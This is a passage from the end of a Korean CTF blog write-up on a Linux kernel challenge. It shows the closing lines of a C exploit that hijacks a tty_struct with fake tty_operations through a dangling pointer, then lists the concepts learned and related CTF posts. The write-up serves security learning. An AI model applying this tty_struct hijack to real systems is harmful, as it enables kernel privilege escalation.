    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = &fake_tty_operations;

    printf("&tty_operations : %p\n", &fake_tty_operations);

    write(fd2, fake_tty_struct, 32);
    write(ptmx, tmp, 8);

    return 0;
}

4. 몰랐던 개념


  • dangling pointer
  • bzImage → vmlinux 뽑는 법
  • tty - struct 구조
  • 스택 피봇팅시 가젯 + mmap으로 조질수도 있다

5. 참고자료


728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[star CTF 2019] hack me  (0) 2020.12.17
[0ctf 2019] babykernel2  (0) 2020.12.08
[qwb2018] core  (1) 2020.12.02
[darkCTF] newPaX  (0) 2020.09.28
[darkCTF] butterfly  (0) 2020.09.28